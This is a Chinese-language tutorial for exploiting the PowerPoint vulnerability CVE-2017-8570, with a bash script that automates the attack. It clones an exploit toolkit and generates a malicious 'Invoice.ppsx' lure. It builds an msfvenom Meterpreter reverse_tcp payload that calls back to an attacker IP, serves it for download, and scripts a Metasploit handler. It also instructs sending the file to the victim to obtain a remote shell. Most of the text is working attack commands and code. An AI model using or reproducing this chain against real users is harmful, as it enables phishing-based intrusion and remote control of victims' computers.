这篇文章的重点不是讲解2017-8570的利用,而是以2017-8570为例,来编写一个自动化的脚本来完成一些不必要的人工操作,避免重复劳动。
CVE-2017-8570是一个PowerPoint演示文稿的漏洞,利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx(ppsx是office2007版以后的演示文稿的保存格式)文档发送给用户,用户打开放映后就会中招。
攻击机ip:192.168.1.212
系统:kali linux
靶机ip:192.168.1.165
系统:windows 7
含有漏洞的office版本:office2010影响范围:
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
打开kali,通过git clone命令将利用脚本下载下来
git clone https://github.com/tezukanice/Office8570.git
进入脚本目录,执行以下命令,这里的192.168.1.212为攻击机ip
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
发现如下错误:
刚好当前目录下有个template.ppsx,那么我们新建一个目录template,然后将template.ppsx放到template目录下
mkdir template
mv template.ppsx template/template.ppsx
然后再执行
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
然后执行ls,可以看到当前目录下生成了一个ppsx文件Invoice.ppsx
然后再生成一个windows的反弹shell
LHOST是攻击机ip,LPORT是反向连接的端口,我们可以通过监听这个端口来得到被攻击机反弹回来的shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/cve2017-8570/shell.exe
如果为x86的系统的话,使用如下语句:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/Office8570/shell.exe
监听80端口,等待漏洞触发下载shell.exe
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.212/shell.exe -l /var/Office8570/shell.exe
输入msfconsole启动msf
use exploit/multi/handler
set LHOST 192.168.1.212
set LPORT 7777
set PAYLOAD windows/x64/meterpreter/reverse_tcp
如果是x86的系统,将上面语句替换为:set PAYLOAD windows/meterpterter/reserver_tcp
exploit
然后在/var/Office8570目录下的Invoice.ppsx文件发送给受害用户,用户点击后返回meterpreter
前面的步骤,从下载exp生成恶意文件到配置msf都可以通过编写一个shell脚本来自动化完成
attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"
if [ -d ${DIR} ]; then
rm -rf ${DIR}
mkdir ${DIR}
else
mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe`
gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"
`service postgresql start`
if [ -f "exp.rc" ]; then
rm "exp.rc"
fi
echo "use exploit/multi/handler">>exp.rc
echo "set LHOST "$attack_ip>>exp.rc
echo "set LPORT "$LPORT>>exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp">>exp.rc
echo "exploit">>exp.rc
gnome-terminal -e "msfconsole -r exp.rc"
用到的知识都很简单,就不一一分析了,其中主要用到的知识有:
通过`语句`来让当前语句执行完成后再执行下一条语句
利用>>将语句写入文件
通过rc脚本来配置msf
通过gnome-terminal命令来新打开一个命令行,并通过-e参数执行命令
脚本我放在github上了,下载地址:
https://github.com/Drac0nids/CVE-2017-8570.git
下载脚本后修改attack_ip为kali的ip,LPORT为msf要监听的端口,DIR为任意空目录
给脚本777的权限
chmod 777 auto
然后运行脚本
./auto
会自动下载利用脚本并生成恶意文件,并配置好msf监听
然后在DIR+/Office8570 目录下找到Invoice.ppsx文件,将其发送给被攻击者
被攻击者打开Invoice.ppsx文件后会利用powershell下载shell.exe,然后会返回一个meterpreter